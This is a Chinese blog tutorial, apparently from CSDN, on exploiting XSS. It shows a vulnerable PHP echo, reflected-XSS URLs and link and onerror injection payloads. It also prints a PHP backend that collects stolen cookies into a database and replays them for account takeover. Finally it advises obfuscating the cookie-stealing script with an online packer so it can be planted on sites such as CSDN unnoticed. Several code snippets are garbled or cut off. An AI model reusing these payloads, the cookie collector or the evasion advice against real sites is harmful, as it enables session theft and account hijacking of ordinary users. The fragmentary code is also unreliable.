%3c php foreach%3e,Web安全学习一之XSS漏洞的利用

bb2d1e0cd592577ad5043ffe8b9e92ed.png

什么是XSS

XSS 意为跨站脚本攻击(Cross Site Scripting),缩写应该是CSS,但是已经有了一个层叠样式表(Cascading Style Sheets),所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

XSS实例

最简单的形式就是从URL中直接插入恶意的 JavaScript 代码,最简单的实例如下:

1

2

3

4

$input = $_GET['info'];

echo $input;

服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了,你可以向参数输入任意代码。 这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php 你可以直接在参数后面加入 JavaScript 代码,例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E%3C/script%3E) 直接打开便实现了最简单的 XSS 攻击,不过有的浏览器对此种攻击方式执行了过滤,例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。 接下来再演示另一种攻击方式。 测试网址是 http://res.cuiqingcai.com/hack/xss2.html 源代码如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

TEST XSS

function test(){

var text = document.getElementById('text').value;

var new_text = 'test';

console.log(new_text);

document.getElementById('content').innerHTML = new_text;

}

现在有一个输入框,点击按钮之后会将输入框的内容提取出来,然后拼凑到超链接标签里。在这里也可以执行XSS攻击。 比如输入

1

javascript:void(0)" οnclick=alert('ssss') "

提交之后会出现一个超链接,点击之后就可以执行你输入的代码,这次就弹出一个输入框。 当然你也可以插入一张图片,用 onerror 属性定义方法

1

"># javascript:void(0)">#

}

$mysqli = new mysqli("localhost", "root", "", "evil");

if ($mysqli->connect_errno) {

echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;

}

$url = $_GET['url'];

$content = $_GET['content'];

$time = date("Y-m-d H:i:s", time());

$items = explode(";", $content);

$js = '';

foreach ($items as $item) {

$js .= ("document.cookie='".trim($item)."';");

}

if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {

$stmt->bind_param("ssss", $url, $content, $time, $js);

$result = $stmt->execute();

if ($result) {

echo "Collected Your Cookie
" ;

}

}

echo 'url:', $url, '
', 'content:', $content;

其实就是获取了url,还有cookie内容,然后插入了数据库保存起来。 这样,每成功一个XSS,就可以成功捕获到某个网站的Cookie。

混淆加密

其实将刚才的cookie.js贴到任意的网站都有可能引起XSS,比如CSDN。 为了防止JavaScript被看出来,可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx 比如上面一段代码就被加密成这样,粘贴到控制台,就能成功获取Cookie了。

1

eval(function(p,a,c,k,e,d){e=function(c){return(c

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值